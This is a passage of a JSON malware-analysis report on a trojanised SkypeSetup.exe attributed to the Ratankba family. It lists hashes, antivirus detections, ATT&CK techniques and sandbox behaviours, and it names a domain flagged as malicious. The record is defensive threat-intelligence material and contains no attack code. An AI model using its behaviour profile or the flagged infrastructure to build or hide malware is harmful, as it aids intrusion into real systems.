"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790741213476,"unified_at":"2026-09-30T04:06:53.476Z","metadata":{"hashes":{"sha256":"cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411","sha1":"0d64b1157efb689f75a0c92d475e960ecd139304","md5":"ad99fd5711dbec2520f62385a595ee3b","sha512":"91a363584b3ce70b6e211fcb7534194b41b2993bf98879cc6a0106c1efa62f4036418df8eb1e95760b07f0fea8d003326c2b68098b6874f2c4ccea4bc855c924","ssdeep":"Unknown","imphash":"Unknown"},"file_info":{"file_name":"SkypeSetup.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":2453504,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499433473000,"last_seen":1656267826000,"last_multi_scan":1656267826000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["dlifopt","stardustchollima","targeted","apt","evasive"]},"stats":{"av":{"malicious_count":21,"suspicious_count":0,"total_engines":29},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":14},"sandbox_signatures":{"informative_count":41,"suspicious_count":34,"malicious_count":13,"total":88},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Ratankba","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.AGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1224300","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Doina.11645","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"malicious","threat_name":"Unavailable (production)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Doina.11645 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Injector.ERBC trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan.Crypt","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 00522c691 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.Win32.Agent.silsyt","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.MlwGen.fbwdqp","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_96","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"malicious","threat_name":"Unavailable (production)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"Trojan Horse","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Trojan/W32.Ratankba.2453504","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"TROJ_POWSPRITZ.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TROJ_POWSPRITZ.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.TrojanDownloader.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Reads system information using Windows Management Instrumentation Commandline (WMIC)"},{"type":"informative","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1086","attack_id_wiki":"https://attack.mitre.org/techniques/T1086","identifiers":[{"type":"suspicious","value":"Uses powershell with a windows hidden commandline param"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"tactic":"Execution","technique":"Local Job Scheduling","attack_id":"T1168","attack_id_wiki":"https://attack.mitre.org/techniques/T1168","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"tactic":"Execution","technique":"Command-Line Interface","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Runs shell commands"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1215","attack_id_wiki":"https://attack.mitre.org/techniques/T1215","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/techniques/T1179","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Allocates virtual memory in a remote process"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1107","attack_id_wiki":"https://attack.mitre.org/techniques/T1107","identifiers":[{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Reads the registry for installed applications"},{"type":"suspicious","value":"Reads information about supported languages"},{"type":"suspicious","value":"Reads the cryptographic machine GUID"},{"type":"suspicious","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"type":"suspicious","value":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1076","attack_id_wiki":"https://attack.mitre.org/techniques/T1076","identifiers":[{"type":"suspicious","value":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"tactic":"Command and Control","technique":"Commonly Used Port","attack_id":"T1043","attack_id_wiki":"https://attack.mitre.org/techniques/T1043","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"SkypeSetup.exe\" queries volume information of \"%PROGRAMFILES%\\Mozilla Firefox\\browser\\omni.ja\" at 00064589-00001380-0000010C-9114003938052631\n \"SkypeSetup.exe\" queries volume information of \"%PROGRAMFILES%\\Mozilla Firefox\\browser\\omni.ja\" at 00064589-00001380-0000010C-9114003938151100\n \"SkypeSetup.exe\" queries volume information of \"%PROGRAMFILES%\\Mozilla Firefox\\browser\\omni.ja\" at 00064589-00001380-0000010C-9114003938461528\n \"SkypeSetup.exe\" queries volume information of \"%PROGRAMFILES%\\Mozilla Firefox\\browser\\omni.ja\" at 00064589-00001380-0000010C-9114003938498756","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"SkypeSetup.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\SKYPESETUP.EXE\")\n \"SkypeSetup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\SKYPESETUP.EXE\")\n \"SkypeSetup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{3B7E914A-93D5-4A29-92BB-AF8C3F66C431}\")\n \"SkypeSetup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{FC965A47-4839-40CA-B618-18F486F042C6}\")\n \"SkypeSetup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{6A0549A9-1B96-498C-ACBC-3943001FEB19}\")\n \"SkypeSetup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{24991BA0-F0EE-44AD-9CC8-5EC50AECF6B7}\")\n \"SkypeSetup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{7A3C7E05-EE37-47D6-99E1-2EB05A3DA3F7}\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"cacerts.digicert.com\"\n \"dogecoin.deaftone.com\"\n \"secure.skypeassets.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"20.190.154.139:443\"\n \"52.114.32.25:443\"\n \"104.18.10.39:80\"\n \"23.38.131.139:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"SkypeSetup.exe\" created file \"%TEMP%\\SkypeSetup.exe\"\n \"SkypeSetup.exe\" created file \"%TEMP%\\ZMG79AE.tmp\"\n \"SkypeSetup.exe\" created file \"%TEMP%\\ZMG79EE.tmp\"\n \"SkypeSetup.exe\" created file \"%TEMP%\\DefaultPackOffer.dll\"\n \"SkypeSetup.exe\" created file \"%TEMP%\\ZMG78FF.tmp\"\n \"SkypeSetup.exe\" created file \"%TEMP%\\ZMG795E.tmp\"\n \"SkypeSetup.exe\" created file \"%TEMP%\\ZMG798E.tmp\"\n \"SkypeSetup.exe\" created file \"%TEMP%\\ZMG7C11.tmp\"\n \"SkypeSetup.exe\" created file \"%TEMP%\\ZMG7C41.tmp\"\n \"SkypeSetup.exe\" created file \"%TEMP%\\ZMG7C52.tmp\"\n \"SkypeSetup.exe\" created file \"%TEMP%\\ZMG7CA1.tmp\"\n \"SkypeSetup.exe\" created file \"%TEMP%\\ZMG7CE1.tmp\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\SkypeSetupMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx\"\n \"Global\\.net clr networking\"\n \"RasPbFile\"\n \"_SHuassist.mtx\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"DefaultPackOffer.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /DigiCertGlobalRootG2.crt HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: cacerts.digicert.com\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\9f895c66454577eff9c77442d0c84f71\\mscorlib.ni.dll\" at 69230000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$25","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"WMIC.exe\" (UID: 00068701-00004084) was launched with new environment variables: \"PROMPT=\"$P$G\"\"\n Process \"cmd.exe\" (UID: 00069089-00002752) was launched with missing environment variables: \"PROMPT\"\n Process \"WMIC.exe\" (UID: 00069100-00003412) was launched with new environment variables: \"PROMPT=\"$P$G\"\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"cmd /c wmic qfe get hotfixid | find \"KB2999226\"\" on 2021-5-16.00:41:46.680\n \"cmd /c wmic qfe get hotfixid | find \"KB2999226\"\" on 2021-5-16.00:43:12.868","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$26","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$27","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"SkypeSetup.exe\" connecting to \"\\ThemeApiPort\"\n \"WMIC.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"SkypeSetup.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed\"\n \"DefaultPackOffer.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"\n \"ZMG79EE.tmp\" has type \"ASCII text\"\n \"ZMG7CA1.tmp\" has type \"ASCII text with very long lines\"\n \"ZMG78FF.tmp\" has type \"ASCII text\"\n \"ZMG79AE.tmp\" has type \"ASCII text with very long lines\"\n \"2IWPMLJDD1LPCXGR79MZ.temp\" has type \"data\"\n \"ZMG7C11.tmp\" has type \"ASCII text\"\n \"ZMG7CE1.tmp\" has type \"ASCII text\"\n \"ZMG798E.tmp\" has type \"ASCII text\"\n \"ZMG795E.tmp\" has type \"ASCII text\"\n \"ZMG7C41.tmp\" has type \"ASCII text\"\n \"ZMG7C52.tmp\" has type \"ASCII text\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$28","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$29","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"WMIC.exe\" (Indicator: \"wmic.exe\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"SkypeSetup.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"SkypeSetup.exe\" opened \"\\Device\\KsecDD\"\n \"WMIC.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1215","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"SkypeSetup.exe\" at 00064589-00001380-00000105-75705471\n \"WMIC.exe\" at 00068701-00004084-00000105-102180955\n \"WMIC.exe\" at 00069100-00003412-00000105-674226","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"SkypeSetup.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Uses powershell with a windows hidden commandline param","description":"$2a","origin":"Monitored Target","mitre_attack_id":"T1086","relevance":7,"id":"target-114","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries the installation properties of user installed products","description":"$2b","origin":"Registry Access","relevance":10,"id":"registry-71","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"SkypeSetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"SkypeSetup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"WMIC.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"3/80 reputation engines marked \"http://dogecoin.deaftone.com\" as malicious (3% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"SkypeSetup.exe\" read file \"%APPDATA%\\Mozilla\\Firefox\\profiles.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"SkypeSetup.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed\"\n \"DefaultPackOffer.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"7.37.0.103\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 20.190.154.139 on port 443 is sent without HTTP header\n TCP traffic to 52.114.32.25 on port 443 is sent without HTTP header\n TCP traffic to 104.18.10.39 on port 80 is sent without HTTP header\n TCP traffic to 23.38.131.139 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1043","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"SkypeSetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry Access","mitre_attack_id":"T1076","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Reads system information using Windows Management Instrumentation Commandline (WMIC)","description":"Process \"WMIC.exe\" with commandline \"wmic qfe get hotfixid\" (UID: 00068701-00004084)\n Process \"WMIC.exe\" with commandline \"wmic qfe get hotfixid\" (UID: 00069100-00003412)","origin":"Monitored 